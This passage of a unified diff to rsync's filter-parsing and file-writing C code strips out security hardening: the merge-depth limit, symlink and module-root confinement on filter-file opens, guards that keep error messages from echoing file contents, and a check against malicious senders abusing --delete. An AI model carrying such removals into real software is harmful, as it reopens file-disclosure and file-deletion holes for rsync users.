{\n+\t\t\t\t} else if (!strchr(\"*[?\", cp[1])) {\n \t\t\t\t\tbackslash_cnt++;\n \t\t\t\t\tif (saw_wild)\n \t\t\t\t\t\t*p++ = '\\\\';\n@@ -693,8 +596,7 @@ static void pop_filter_list(filter_rule_list *listp)\n  * value and will be updated with the length of the resulting name.  We\n  * always return a name that is null terminated, even if the merge_file\n  * name was not. */\n-static char *parse_merge_name(const filter_rule *template,\n-\t\t\t      const char *merge_file, unsigned int *len_ptr,\n+static char *parse_merge_name(const char *merge_file, unsigned int *len_ptr,\n \t\t\t      unsigned int prefix_skip)\n {\n \tstatic char buf[MAXPATHLEN];\n@@ -725,7 +627,7 @@ static char *parse_merge_name(const filter_rule *template,\n \t\t}\n \t\tif (!sanitize_path(fn, merge_file, r, dirbuf_depth, SP_DEFAULT)) {\n \t\t\trprintf(FERROR, \"merge-file name overflows: %s\\n\",\n-\t\t\t\trule_text(template, merge_file));\n+\t\t\t\tmerge_file);\n \t\t\treturn NULL;\n \t\t}\n \t\tfn_len = strlen(fn);\n@@ -738,8 +640,7 @@ static char *parse_merge_name(const filter_rule *template,\n \tif (fn != buf) {\n \t\tint d_len = dirbuf_len - prefix_skip;\n \t\tif (d_len + fn_len >= MAXPATHLEN) {\n-\t\t\trprintf(FERROR, \"merge-file name overflows: %s\\n\",\n-\t\t\t\trule_text(template, fn));\n+\t\t\trprintf(FERROR, \"merge-file name overflows: %s\\n\", fn);\n \t\t\treturn NULL;\n \t\t}\n \t\tmemcpy(buf, dirbuf + prefix_skip, d_len);\n@@ -789,7 +690,7 @@ static BOOL setup_merge_file(int mergelist_num, filter_rule *ex,\n \tchar *x, *y, *pat = ex->pattern;\n \tunsigned int len;\n \n-\tif (!(x = parse_merge_name(ex, pat, NULL, 0)) || *x != '/')\n+\tif (!(x = parse_merge_name(pat, NULL, 0)) || *x != '/')\n \t\treturn 0;\n \n \tif (DEBUG_GTE(FILTER, 2)) {\n@@ -915,7 +816,7 @@ void *push_local_filters(const char *dir, unsigned int dirlen)\n \t\t\tio_error |= IOERR_GENERAL;\n \t\t\trprintf(FERROR,\n \t\t\t    \"cannot add local filter rules in long-named directory: %s\\n\",\n-\t\t\t    rule_text(ex, full_fname(dirbuf)));\n+\t\t\t    full_fname(dirbuf));\n \t\t}\n \t\tdirbuf[dirbuf_len] = '\\0';\n \t}\n@@ -1003,7 +904,7 @@ static int rule_matches(const char *fname, filter_rule *ex, int name_flags)\n {\n \tint slash_handling, str_cnt = 0, anchored_match = 0;\n \tint ret_match = ex->rflags & FILTRULE_NEGATE ? 0 : 1;\n-\tconst char *p, *pattern = ex->pattern;\n+\tchar *p, *pattern = ex->pattern;\n \tconst char *strings[16]; /* more than enough */\n \tconst char *name = fname + (*fname == '/');\n \n@@ -1098,8 +999,8 @@ static void report_filter_result(enum logcode code, char const *name,\n \t\t\t      : \"file\";\n \t\trprintf(code, \"[%s] %sing %s %s because of pattern %s%s%s\\n\",\n \t\t    w, actions[*w=='g'][!(ent->rflags & FILTRULE_INCLUDE)],\n-\t\t    t, name, rule_text(ent, ent->pattern),\n-\t\t    rule_detail(ent, ent->rflags & FILTRULE_DIRECTORY ? \"/\" : \"\"), type);\n+\t\t    t, name, ent->pattern,\n+\t\t    ent->rflags & FILTRULE_DIRECTORY ? \"/\" : \"\", type);\n \t}\n }\n \n@@ -1132,56 +1033,6 @@ int check_server_filter(filter_rule_list *listp, enum logcode code, const char *\n \treturn ret;\n }\n \n-/* Returns 1 if `name` matches an implied-parent rule (a directory component\n- * seeded by add_implied_include() with FILTRULE_DIRECTORY) but not a leaf\n- * rule -- i.e. the client asked for something under the dir, never the dir\n- * itself as content.\n- *\n- * The receiver uses this to refuse a malicious sender that sets XMIT_TOP_DIR\n- * without XMIT_NO_CONTENT_DIR on such a dir: the honest encoding is both flags\n- * (flist.c send path), so otherwise the receiver would set FLAG_CONTENT_DIR\n- * and delete_in_dir() could sweep pre-existing siblings under --delete. */\n-int is_implied_parent_dir(const char *name)\n-{\n-\tfilter_rule *ent;\n-\tint parent_match = 0;\n-\n-\tif (!implied_filter_list.head)\n-\t\treturn 0;\n-\n-\t/* The receiver exempts its synthetic transfer-root entry from the\n-\t * requested-name filter.  Treat it as parent-only unless an empty/root\n-\t * source argument added the root-content rule. */\n-\tif ((name[0] == '.' && name[1] == '\\0')\n-\t || (name[0] == '/' && name[1] == '.' && name[2] == '\\0')) {\n-\t\tfor (ent = implied_filter_list.head; ent; ent = ent->next) {\n-\t\t\tif (!(ent->rflags & FILTRULE_INCLUDE))\n-\t\t\t\tcontinue;\n-\t\t\tif (strcmp(ent->pattern, \"/**\") == 0\n-\t\t\t || strcmp(ent->pattern, \"/*\") == 0)\n-\t\t\t\treturn 0;\n-\t\t}\n-\t\treturn 1;\n-\t}\n-\n-\tfor (ent = implied_filter_list.head; ent; ent = ent->next) {\n-\t\tif (ent->rflags & (FILTRULE_PERDIR_MERGE | FILTRULE_CVS_IGNORE))\n-\t\t\tcontinue;\n-\t\tif (!rule_matches(name, ent, NAME_IS_DIR))\n-\t\t\tcontinue;\n-\t\tif (!(ent->rflags & FILTRULE_INCLUDE))\n-\t\t\tcontinue;\n-\t\tif (ent->rflags & FILTRULE_DIRECTORY) {\n-\t\t\tparent_match = 1;\n-\t\t\tcontinue;\n-\t\t}\n-\t\t/* A non-DIRECTORY include rule = a leaf the client asked for, so\n-\t\t * the dir is legitimately in the list, not parent-only. */\n-\t\treturn 0;\n-\t}\n-\treturn parent_match;\n-}\n-\n /* Return -1 if file \"name\" is defined to be excluded by the specified\n  * exclude list, 1 if it is included, and 0 if it was not matched. */\n int check_filter(filter_rule_list *listp, enum logcode code,\n@@ -1261,8 +1112,6 @@ static filter_rule *parse_rule_tok(const char **rulestr_ptr,\n \t/* Inherit from the template.  Don't inherit FILTRULES_SIDES; we check\n \t * that later. */\n \trule->rflags = template->rflags & FILTRULES_FROM_CONTAINER;\n-\tif (rule_src_in_file)\n-\t\trule->rflags |= FILTRULE_FROM_FILE;   /* before parse_merge_name() */\n \n \t/* Figure out what kind of a filter rule \"s\" is pointing at.  Note\n \t * that if FILTRULE_NO_PREFIXES is set, the rule is either an include\n@@ -1360,7 +1209,8 @@ static filter_rule *parse_rule_tok(const char **rulestr_ptr,\n \t\t\trule->rflags |= FILTRULE_CLEAR_LIST;\n \t\t\tbreak;\n \t\tdefault:\n-\t\t\tfilter_rule_err(\"Unknown filter rule\", *rulestr_ptr);\n+\t\t\trprintf(FERROR, \"Unknown filter rule: `%s'\\n\", *rulestr_ptr);\n+\t\t\texit_cleanup(RERR_SYNTAX);\n \t\t}\n \t\twhile (ch != '!' && *++s && *s != ' ' && *s != '_') {\n \t\t\tif (template->rflags & FILTRULE_WORD_SPLIT && isspace(*s)) {\n@@ -1369,15 +1219,11 @@ static filter_rule *parse_rule_tok(const char **rulestr_ptr,\n \t\t\t}\n \t\t\tswitch (*s) {\n \t\t\tdefault:\n-\t\t\t    invalid: {\n-\t\t\t\tchar where[32];\n-\t\t\t\tsnprintf(where, sizeof where, \" '%c' at position %d\",\n-\t\t\t\t\t *s, (int)(s - (const uchar *)*rulestr_ptr));\n-\t\t\t\trprintf(FERROR, \"invalid modifier%s in filter rule: %s\\n\",\n-\t\t\t\t\trule_detail(NULL, where),\n-\t\t\t\t\trule_text(NULL, *rulestr_ptr));\n+\t\t\t    invalid:\n+\t\t\t\trprintf(FERROR,\n+\t\t\t\t\t\"invalid modifier '%c' at position %d in filter rule: %s\\n\",\n+\t\t\t\t\t*s, (int)(s - (const uchar *)*rulestr_ptr), *rulestr_ptr);\n \t\t\t\texit_cleanup(RERR_SYNTAX);\n-\t\t\t    }\n \t\t\tcase '-':\n \t\t\t\tif (!BITS_SETnUNSET(rule->rflags, FILTRULE_MERGE_FILE, FILTRULE_NO_PREFIXES))\n \t\t\t\t\tgoto invalid;\n@@ -1449,8 +1295,10 @@ static filter_rule *parse_rule_tok(const char **rulestr_ptr,\n \t\t\t/* The filter and template both specify side(s).  This\n \t\t\t * is dodgy (and won't work correctly if the template is\n \t\t\t * a one-sided per-dir merge rule), so reject it. */\n-\t\t\tfilter_rule_err(\"specified-side merge file contains specified-side filter\",\n-\t\t\t\t\t*rulestr_ptr);\n+\t\t\trprintf(FERROR,\n+\t\t\t\t\"specified-side merge file contains specified-side filter: %s\\n\",\n+\t\t\t\t*rulestr_ptr);\n+\t\t\texit_cleanup(RERR_SYNTAX);\n \t\t}\n \t\trule->rflags |= template->rflags & FILTRULES_SIDES;\n \t}\n@@ -1465,14 +1313,17 @@ static filter_rule *parse_rule_tok(const char **rulestr_ptr,\n \t\tlen = strlen((char*)s);\n \n \tif (rule->rflags & FILTRULE_CLEAR_LIST) {\n-\t\tif (!(template->rflags & FILTRULE_NO_PREFIXES)\n+\t\tif (!(rule->rflags & FILTRULE_NO_PREFIXES)\n \t\t && !(xflags & XFLG_OLD_PREFIXES) && len) {\n-\t\t\tfilter_rule_err(\"'!' rule has trailing characters\", *rulestr_ptr);\n+\t\t\trprintf(FERROR,\n+\t\t\t\t\"'!' rule has trailing characters: %s\\n\", *rulestr_ptr);\n+\t\t\texit_cleanup(RERR_SYNTAX);\n \t\t}\n \t\tif (len > 1)\n \t\t\trule->rflags &= ~FILTRULE_CLEAR_LIST;\n \t} else if (!len && !(rule->rflags & FILTRULE_CVS_IGNORE)) {\n-\t\tfilter_rule_err(\"unexpected end of filter rule\", *rulestr_ptr);\n+\t\trprintf(FERROR, \"unexpected end of filter rule: %s\\n\", *rulestr_ptr);\n+\t\texit_cleanup(RERR_SYNTAX);\n \t}\n \n \t/* --delete-excluded turns an un-modified include/exclude into a sender-side rule.  */\n@@ -1531,8 +1382,8 @@ void parse_filter_str(filter_rule_list *listp, const char *rulestr,\n \t\t\tbreak;\n \n \t\tif (pat_len >= MAXPATHLEN) {\n-\t\t\trprintf(FERROR, \"discarding over-long filter: %s\\n\",\n-\t\t\t\trule_text_len(NULL, pat, (int)pat_len));\n+\t\t\trprintf(FERROR, \"discarding over-long filter: %.*s\\n\",\n+\t\t\t\t(int)pat_len, pat);\n \t\t    free_continue:\n \t\t\tfree_filter(rule);\n \t\t\tcontinue;\n@@ -1560,11 +1411,6 @@ void parse_filter_str(filter_rule_list *listp, const char *rulestr,\n \t\t\t\tfilter_rule *excl_self;\n \n \t\t\t\texcl_self = new0(filter_rule);\n-\t\t\t\t/* The pattern below is the merge rule's own text, so it\n-\t\t\t\t * inherits that rule's provenance.  Built by hand, this\n-\t\t\t\t * rule looked argument-origin once parsing finished and\n-\t\t\t\t * the match trace echoed a merge file's contents at -vv. */\n-\t\t\t\texcl_self->rflags = rule->rflags & FILTRULE_FROM_FILE;\n \t\t\t\t/* Find the beginning of the basename and add an exclude for it. */\n \t\t\t\tfor (name = pat + pat_len; name > pat && name[-1] != '/'; name--) {}\n \t\t\t\tadd_rule(listp, name, (pat + pat_len) - name, excl_self, 0);\n@@ -1574,7 +1420,7 @@ void parse_filter_str(filter_rule_list *listp, const char *rulestr,\n \t\t\t\tif (parent_dirscan) {\n \t\t\t\t\tconst char *p;\n \t\t\t\t\tunsigned int len = pat_len;\n-\t\t\t\t\tif ((p = parse_merge_name(rule, pat, &len, module_dirlen)))\n+\t\t\t\t\tif ((p = parse_merge_name(pat, &len, module_dirlen)))\n \t\t\t\t\t\tadd_rule(listp, p, len, rule, 0);\n \t\t\t\t\telse\n \t\t\t\t\t\tfree_filter(rule);\n@@ -1583,7 +1429,7 @@ void parse_filter_str(filter_rule_list *listp, const char *rulestr,\n \t\t\t} else {\n \t\t\t\tconst char *p;\n \t\t\t\tunsigned int len = pat_len;\n-\t\t\t\tif ((p = parse_merge_name(rule, pat, &len, 0)))\n+\t\t\t\tif ((p = parse_merge_name(pat, &len, 0)))\n \t\t\t\t\tparse_filter_file(listp, p, rule, XFLG_FATAL_ERRORS);\n \t\t\t\tfree_filter(rule);\n \t\t\t\tcontinue;\n@@ -1604,165 +1450,46 @@ void parse_filter_file(filter_rule_list *listp, const char *fname, const filter_\n \tchar line[BIGPATHBUFLEN];\n \tchar *eob = line + sizeof line - 1;\n \tBOOL word_split = (template->rflags & FILTRULE_WORD_SPLIT) != 0;\n-\tconst char *save_src_file, *save_src_named_at;\n-\tint save_src_line, save_src_in_file;\n-\tint named_by_file;\n-\tint pending = EOF;\n-\tchar named_at[MAXPATHLEN + 32];\n-\t/* Our own copy: fname may point into parse_merge_name()'s static buffer,\n-\t * which a merge rule inside THIS file overwrites while we still need it. */\n-\tchar src_name[MAXPATHLEN];\n \n \tif (!fname || !*fname)\n \t\treturn;\n \n-\tif (merge_depth >= MAX_MERGE_DEPTH) {\n-\t\trprintf(FERROR,\n-\t\t\t\"[%s] merge-file include depth limit (%d) exceeded at %s\\n\",\n-\t\t\twho_am_i(), MAX_MERGE_DEPTH, rule_text(template, fname));\n-\t\t/* Match the failed-open path below: abort under a fatal\n-\t\t * (operator-supplied) merge, otherwise drop the rule. */\n-\t\tif (xflags & XFLG_FATAL_ERRORS)\n-\t\t\texit_cleanup(RERR_FILEIO);\n-\t\treturn;\n-\t}\n-\tmerge_depth++;\n-\n \tif (*fname != '-' || fname[1] || am_server) {\n-\t\t/* This path is operator- and (via per-directory merge files like\n-\t\t * .cvsignore) sender-controlled: a planted symlink could leak a\n-\t\t * root-readable file through the filter parser, or redirect an\n-\t\t * --exclude-from open via a planted parent.  Refuse symlinks not\n-\t\t * owned by uid 0 or our euid. */\n-\t\tconst char *open_path;\n-\t\tint fd;\n \t\tif (daemon_filter_list.head) {\n-\t\t\tchar *dir;\n \t\t\tstrlcpy(line, fname, sizeof line);\n-\t\t\t/* parse_merge_name() prepends module_dir for absolute paths,\n-\t\t\t * so strip module_dirlen back off before the check or the\n-\t\t\t * anchored module-relative daemon rule won't match (as\n-\t\t\t * options.c does for --exclude-from/--include-from).  The\n-\t\t\t * original absolute path is still used for the open below. */\n-\t\t\tdir = line + (*line == '/' ? module_dirlen : 0);\n-\t\t\tclean_fname(dir, CFN_COLLAPSE_DOT_DOT_DIRS);\n-\t\t\tif (check_filter(&daemon_filter_list, FLOG, dir, 0) < 0) {\n-\t\t\t\t/* Hidden by the daemon filter: treat the merge file as\n-\t\t\t\t * non-existent rather than tripping XFLG_FATAL_ERRORS\n-\t\t\t\t * below, so it neither errors out nor leaks a\n-\t\t\t\t * fatal-vs-silent oracle. */\n-\t\t\t\tif (DEBUG_GTE(FILTER, 2)) {\n-\t\t\t\t\t/* Same rule as everywhere else: the name is\n-\t\t\t\t\t * file content when a rule we read named it,\n-\t\t\t\t\t * and so is \"the daemon filter hides it\". */\n-\t\t\t\t\trprintf(FINFO, \"[%s] parse_filter_file(%s)%s\\n\",\n-\t\t\t\t\t\twho_am_i(), rule_text(template, fname),\n-\t\t\t\t\t\trule_detail(template, \" hidden by daemon filter\"));\n-\t\t\t\t}\n-\t\t\t\tmerge_depth--;\n-\t\t\t\treturn;\n-\t\t\t}\n-\t\t\topen_path = line;\n+\t\t\tclean_fname(line, CFN_COLLAPSE_DOT_DOT_DIRS);\n+\t\t\tif (check_filter(&daemon_filter_list, FLOG, line, 0) < 0)\n+\t\t\t\tfp = NULL;\n+\t\t\telse\n+\t\t\t\tfp = fopen(line, \"rb\");\n \t\t} else\n-\t\t\topen_path = fname;\n-\n-\t\t/* Confine the open to the module root.  The ownership walk on its own\n-\t\t * is not enough for a peer-driven merge file: a non-chrooted daemon\n-\t\t * writes --backup-dir entries as root, so a raced backup symlink is\n-\t\t * ROOT-owned -- exactly what open_no_attacker_symlinks() treats as\n-\t\t * trusted -- and naming it in a dir-merge rule would read an\n-\t\t * out-of-module file in as filter rules (their text comes back to the\n-\t\t * peer in \"Unknown filter rule\" errors).\n-\t\t *\n-\t\t * The daemon's own \"filter\"/\"include from\"/\"exclude from\" parameters\n-\t\t * are exempt: those are operator-configured and legitimately live\n-\t\t * outside the module (/etc/rsync/excludes and the like). */\n-\t\tint save_opr = operator_path_resolve;\n-\t\tif (!daemon_config_filter_file)\n-\t\t\toperator_path_resolve = 1;\n-\t\tfd = open_no_attacker_symlinks(open_path, O_RDONLY, 0);\n-\t\toperator_path_resolve = save_opr;\n-\n-\t\tif (fd < 0)\n-\t\t\tfp = NULL;\n-\t\telse if (!(fp = fdopen(fd, \"rb\")))\n-\t\t\tclose(fd);\n+\t\t\tfp = fopen(fname, \"rb\");\n \t} else\n \t\tfp = stdin;\n \n \tif (DEBUG_GTE(FILTER, 2)) {\n-\t\t/* The name is file CONTENT when a rule we read named it, and a\n-\t\t * word-split per-dir merge turns every word of a file into one\n-\t\t * of these -- so the trace would echo what the syntax errors no\n-\t\t * longer do.  Say where it came from instead. */\n \t\trprintf(FINFO, \"[%s] parse_filter_file(%s,%x,%x)%s\\n\",\n-\t\t\twho_am_i(), rule_text(template, fname), template->rflags, xflags,\n-\t\t\trule_detail(template, fp ? \"\" : \" [not found]\"));\n+\t\t\twho_am_i(), fname, template->rflags, xflags,\n+\t\t\tfp ? \"\" : \" [not found]\");\n \t}\n \n \tif (!fp) {\n \t\tif (xflags & XFLG_FATAL_ERRORS) {\n-\t\t\t/* rule_src_file is still the PARENT's context here: when it\n-\t\t\t * is set, this name came out of a file we read, so neither\n-\t\t\t * the name nor errno (an existence oracle) may be shown. */\n-\t\t\tif (TEXT_FROM_FILE(template)) {\n-\t\t\t\t/* errno too: it answers \"does this path exist\". */\n-\t\t\t\trprintf(FERROR, \"failed to open %sclude file %s\\n\",\n-\t\t\t\t\ttemplate->rflags & FILTRULE_INCLUDE ? \"in\" : \"ex\",\n-\t\t\t\t\trule_text(template, fname));\n-\t\t\t} else {\n-\t\t\t\trsyserr(FERROR, errno,\n-\t\t\t\t\t\"failed to open %sclude file %s\",\n-\t\t\t\t\ttemplate->rflags & FILTRULE_INCLUDE ? \"in\" : \"ex\",\n-\t\t\t\t\tfname);\n-\t\t\t}\n+\t\t\trsyserr(FERROR, errno,\n+\t\t\t\t\"failed to open %sclude file %s\",\n+\t\t\t\ttemplate->rflags & FILTRULE_INCLUDE ? \"in\" : \"ex\",\n+\t\t\t\tfname);\n \t\t\texit_cleanup(RERR_FILEIO);\n \t\t}\n-\t\tmerge_depth--;\n \t\treturn;\n \t}\n-\t/* Before dirbuf is cut back: a per-directory fname points INTO dirbuf,\n-\t * so truncating first leaves only the directory and the location we\n-\t * report loses the filename. */\n-\tstrlcpy(src_name, fname, sizeof src_name);\n \tdirbuf[dirbuf_len] = '\\0';\n \n-\t/* Rule text from here on is this file's contents, not an argument, so\n-\t * a syntax error must not echo it.  Saved and restored because a merge\n-\t * rule inside this file can bring us back in for another file. */\n-\tsave_src_in_file = rule_src_in_file;\n-\tsave_src_file = rule_src_file;\n-\tsave_src_line = rule_src_line;\n-\t/* If a rule we read named THIS file, our own path is file content too:\n-\t * track the location for provenance but do not put it in a message. */\n-\tnamed_by_file = TEXT_FROM_FILE(template);\n-\tsave_src_named_at = rule_src_named_at;\n-\tif (named_by_file) {\n-\t\t/* Snapshot where we were told to merge this, before that state\n-\t\t * is replaced below (rule_src_where returns a static buffer).\n-\t\t * A DEFERRED merge has no live location to point at -- the file\n-\t\t * that named it was read and finished long ago -- so leave the\n-\t\t * generic description rather than nesting two vague ones. */\n-\t\tif (rule_src_in_file) {\n-\t\t\tstrlcpy(named_at, rule_src_where(), sizeof named_at);\n-\t\t\trule_src_named_at = named_at;\n-\t\t} else\n-\t\t\trule_src_named_at = NULL;\n-\t}\n-\trule_src_in_file = 1;\n-\trule_src_file = named_by_file ? NULL : src_name;\n-\trule_src_line = word_split ? -1 : 0;   /* -1: tokens, not lines */\n-\n \twhile (1) {\n \t\tchar *s = line;\n \t\tint ch, overflow = 0;\n-\t\tif (rule_src_line >= 0)\n-\t\t\trule_src_line++;\n \t\twhile (1) {\n-\t\t\tif (pending != EOF) {   /* a CR lookahead we could not push back */\n-\t\t\t\tch = pending;\n-\t\t\t\tpending = EOF;\n-\t\t\t} else if ((ch = getc(fp)) == EOF) {\n+\t\t\tif ((ch = getc(fp)) == EOF) {\n \t\t\t\tif (ferror(fp) && errno == EINTR) {\n \t\t\t\t\tclearerr(fp);\n \t\t\t\t\tcontinue;\n@@ -1771,51 +1498,25 @@ void parse_filter_file(filter_rule_list *listp, const char *fname, const filter_\n \t\t\t}\n \t\t\tif (word_split && isspace(ch))\n \t\t\t\tbreak;\n-\t\t\tif (eol_nulls? !ch : (ch == '\\n' || ch == '\\r')) {\n-\t\t\t\tif (ch == '\\r') {   /* CRLF is one line, not two */\n-\t\t\t\t\tint nxt;\n-\t\t\t\t\twhile ((nxt = getc(fp)) == EOF\n-\t\t\t\t\t    && ferror(fp) && errno == EINTR)\n-\t\t\t\t\t\tclearerr(fp);\n-\t\t\t\t\tif (nxt == EOF) {\n-\t\t\t\t\t\tif (!ferror(fp))\n-\t\t\t\t\t\t\tch = EOF;   /* real end of file */\n-\t\t\t\t\t} else if (nxt != '\\n' && ungetc(nxt, fp) == EOF) {\n-\t\t\t\t\t\t/* Pushback failed: hand it to the\n-\t\t\t\t\t\t * NEXT rule, where it belongs --\n-\t\t\t\t\t\t * appending it here would both\n-\t\t\t\t\t\t * corrupt this rule and skip the\n-\t\t\t\t\t\t * s < eob bound below. */\n-\t\t\t\t\t\tpending = nxt;\n-\t\t\t\t\t}\n-\t\t\t\t}\n+\t\t\tif (eol_nulls? !ch : (ch == '\\n' || ch == '\\r'))\n \t\t\t\tbreak;\n-\t\t\t}\n \t\t\tif (s < eob)\n \t\t\t\t*s++ = ch;\n \t\t\telse\n \t\t\t\toverflow = 1;\n \t\t}\n \t\tif (overflow) {\n-\t\t\trprintf(FERROR, \"discarding over-long filter: %s\\n\",\n-\t\t\t\trule_text_len(NULL, line, 0));\n+\t\t\trprintf(FERROR, \"discarding over-long filter: %s...\\n\", line);\n \t\t\ts = line;\n \t\t}\n \t\t*s = '\\0';\n \t\t/* Skip an empty token and (when line parsing) comments. */\n-\t\tif (*line && (word_split || (*line != ';' && *line != '#'))) {\n-\t\t\trule_src_file = named_by_file ? NULL : src_name;\n+\t\tif (*line && (word_split || (*line != ';' && *line != '#')))\n \t\t\tparse_filter_str(listp, line, template, xflags);\n-\t\t}\n \t\tif (ch == EOF)\n \t\t\tbreak;\n \t}\n-\trule_src_in_file = save_src_in_file;\n-\trule_src_file = save_src_file;\n-\trule_src_line = save_src_line;\n-\trule_src_named_at = save_src_named_at;\n \tfclose(fp);\n-\tmerge_depth--;\n }\n \n /* If the \"for_xfer\" flag is set, the prefix is made compatible with the\ndiff --git a/fileio.c b/fileio.c\nindex b8db29b..69c9a7b 100644\n--- a/fileio.c\n+++ b/fileio.c\n@@ -34,16 +34,12 @@\n #define ALIGNED_LENGTH(len) ((((len) - 1) | (ALIGN_BOUNDARY-1)) + 1)\n \n extern int sparse_files;\n-extern struct stats stats;\n \n OFF_T preallocated_len = 0;\n \n static OFF_T sparse_seek = 0;\n static OFF_T sparse_past_write = 0;\n \n-static int last_tracked_fd = -1;\n-static int64 last_touched_blk = -1;\n-\n int sparse_end(int f, OFF_T size, int updating_basis_or_equiv)\n {\n \tint ret = 0;\n@@ -79,60 +75,11 @@ int sparse_end(int f, OFF_T size, int updating_basis_or_equiv)\n /* Note that the offset is just the caller letting us know where\n  * the current file position is in the file. The use_seek arg tells\n  * us that we should seek over matching data instead of writing it. */\n-/* Flush any deferred run of zero bytes as a hole, advancing the file\n- * position past it (both do_lseek() and do_punch_hole() move the offset). */\n-static int flush_sparse_hole(int f)\n-{\n-\tif (!sparse_seek)\n-\t\treturn 0;\n-\tif (sparse_past_write >= preallocated_len) {\n-\t\tif (do_lseek(f, sparse_seek, SEEK_CUR) < 0) {\n-\t\t\tsparse_seek = 0;\n-\t\t\treturn -1;\n-\t\t}\n-\t} else if (do_punch_hole(f, sparse_past_write, sparse_seek) < 0) {\n-\t\tsparse_seek = 0;\n-\t\treturn -1;\n-\t}\n-\tsparse_seek = 0;\n-\treturn 0;\n-}\n-\n-static int full_sparse_write(int f, const char *buf, int len)\n-{\n-\twhile (len > 0) {\n-\t\tint ret = write(f, buf, len);\n-\t\tif (ret <= 0) {\n-\t\t\tif (ret < 0 && errno == EINTR)\n-\t\t\t\tcontinue;\n-\t\t\tsparse_seek = 0;\n-\t\t\treturn -1;\n-\t\t}\n-\t\tbuf += ret;\n-\t\tlen -= ret;\n-\t}\n-\treturn 0;\n-}\n-\n-/* Emit one span of data that is not being turned into a hole.  For an in-place\n- * update (use_seek) the bytes on disk already match, so we only need to move\n- * past them; otherwise we write them out.  Either way a deferred hole is\n- * flushed first so that the span lands at the right offset. */\n-static int emit_sparse_span(int f, int use_seek, const char *buf, int len)\n-{\n-\tif (flush_sparse_hole(f) < 0)\n-\t\treturn -1;\n-\tif (use_seek)\n-\t\treturn do_lseek(f, len, SEEK_CUR) < 0 ? -1 : 0;\n-\treturn full_sparse_write(f, buf, len);\n-}\n-\n static int write_sparse(int f, int use_seek, OFF_T offset, const char *buf, int len)\n {\n-\tint l1, l2, i, start, end;\n+\tint l1 = 0, l2 = 0;\n+\tint ret;\n \n-\t/* Always treat a leading and trailing run of zeros as a (deferred)\n-\t * hole, since they may merge with holes in the adjacent write calls. */\n \tfor (l1 = 0; l1 < len && buf[l1] == 0; l1++) {}\n \tfor (l2 = 0; l2 < len-l1 && buf[len-(l2+1)] == 0; l2++) {}\n \n@@ -141,49 +88,36 @@ static int write_sparse(int f, int use_seek, OFF_T offset, const char *buf, int\n \tif (l1 == len)\n \t\treturn len;\n \n-\t/* Scan the middle [l1, len-l2) for interior runs of zeros that are at\n-\t * least SPARSE_WRITE_SIZE long (the hole granularity rsync has always\n-\t * used) and defer those as holes.  Everything in between -- which may\n-\t * include shorter zero runs not worth a hole -- is emitted in one go,\n-\t * rather than being chopped into SPARSE_WRITE_SIZE-byte pieces, which\n-\t * made copying a large non-sparse file cost ~one write() per KiB.\n-\t *\n-\t * The matched (use_seek) case runs through the same scan: its interior\n-\t * zero runs still have to be punched out, which is what --inplace\n-\t * --sparse relies on to keep a hole-y basis file sparse. */\n-\tstart = l1;\n-\tend = len - l2;\n-\tfor (i = l1; i < end; ) {\n-\t\tint z;\n-\t\tif (buf[i] != 0) {\n-\t\t\ti++;\n-\t\t\tcontinue;\n-\t\t}\n-\t\tfor (z = 1; i + z < end && buf[i+z] == 0; z++) {}\n-\t\tif (z < SPARSE_WRITE_SIZE) {\n-\t\t\ti += z;\n-\t\t\tcontinue;\n-\t\t}\n-\t\tif (i > start) {\n-\t\t\tif (!use_seek)\n-\t\t\t\ttrack_block_touches(f, offset + start, i - start);\n-\t\t\tif (emit_sparse_span(f, use_seek, buf + start, i - start) < 0)\n+\tif (sparse_seek) {\n+\t\tif (sparse_past_write >= preallocated_len) {\n+\t\t\tif (do_lseek(f, sparse_seek, SEEK_CUR) < 0)\n \t\t\t\treturn -1;\n-\t\t\tsparse_past_write = offset + i;\n+\t\t} else if (do_punch_hole(f, sparse_past_write, sparse_seek) < 0) {\n+\t\t\tsparse_seek = 0;\n+\t\t\treturn -1;\n \t\t}\n-\t\tsparse_seek += z;\n-\t\ti += z;\n-\t\tstart = i;\n \t}\n-\tif (end > start) {\n-\t\tif (!use_seek)\n-\t\t\ttrack_block_touches(f, offset + start, end - start);\n-\t\tif (emit_sparse_span(f, use_seek, buf + start, end - start) < 0)\n+\tsparse_seek = l2;\n+\tsparse_past_write = offset + len - l2;\n+\n+\tif (use_seek) {\n+\t\t/* The in-place data already matches. */\n+\t\tif (do_lseek(f, len - (l1+l2), SEEK_CUR) < 0)\n \t\t\treturn -1;\n+\t\treturn len;\n \t}\n \n-\tsparse_seek = l2;\n-\tsparse_past_write = offset + len - l2;\n+\twhile ((ret = write(f, buf + l1, len - (l1+l2))) <= 0) {\n+\t\tif (ret < 0 && errno == EINTR)\n+\t\t\tcontinue;\n+\t\tsparse_seek = 0;\n+\t\treturn ret;\n+\t}\n+\n+\tif (ret != (int)(len - (l1+l2))) {\n+\t\tsparse_seek = 0;\n+\t\treturn l1+ret;\n+\t}\n \n \treturn len;\n }\n@@ -209,38 +143,6 @@ int flush_write_file(int f)\n \treturn ret;\n }\n \n-void reset_block_tracker(void)\n-{\n-\tlast_tracked_fd = -1;\n-\tlast_touched_blk = -1;\n-}\n-\n-void track_block_touches(int f, OFF_T offset, int32 len)\n-{\n-\tint64 start_blk, end_blk, blocks_to_add = 0;\n-\n-\tif (len <= 0)\n-\t\treturn;\n-\tif (f != last_tracked_fd) {\n-\t\tlast_tracked_fd = f;\n-\t\tlast_touched_blk = -1;\n-\t}\n-\tstart_blk = offset / 4096;\n-\tend_blk = start_blk + (((offset % 4096) + len - 1) / 4096);\n-\tif (start_blk > last_touched_blk)\n-\t\tblocks_to_add = end_blk - start_blk + 1;\n-\telse if (end_blk > last_touched_blk)\n-\t\tblocks_to_add = end_blk - last_touched_blk;\n-\tif (blocks_to_add > 0) {\n-\t\tif (INT64_MAX - stats.touched_blocks_4k < blocks_to_add)\n-\t\t\tstats.touched_blocks_4k = INT64_MAX;\n-\t\telse\n-\t\t\tstats.touched_blocks_4k += blocks_to_add;\n-\t}\n-\tif (end_blk > last_touched_blk)\n-\t\tlast_touched_blk = end_blk;\n-}\n-\n /* write_file does not allow incomplete writes.  It loops internally\n  * until len bytes are written or errno is set.  Note that use_seek and\n  * offset are only used in sparse processing (see write_sparse()). */\n@@ -248,15 +150,11 @@ int write_file(int f, int use_seek, OFF_T offset, const char *buf, int len)\n {\n \tint ret = 0;\n \n-\tif (!use_seek && sparse_files == 0)\n-\t\ttrack_block_touches(f, offset, len);\n \twhile (len > 0) {\n \t\tint r1;\n \t\tif (sparse_files > 0) {\n-\t\t\t/* write_sparse() handles the whole span itself, 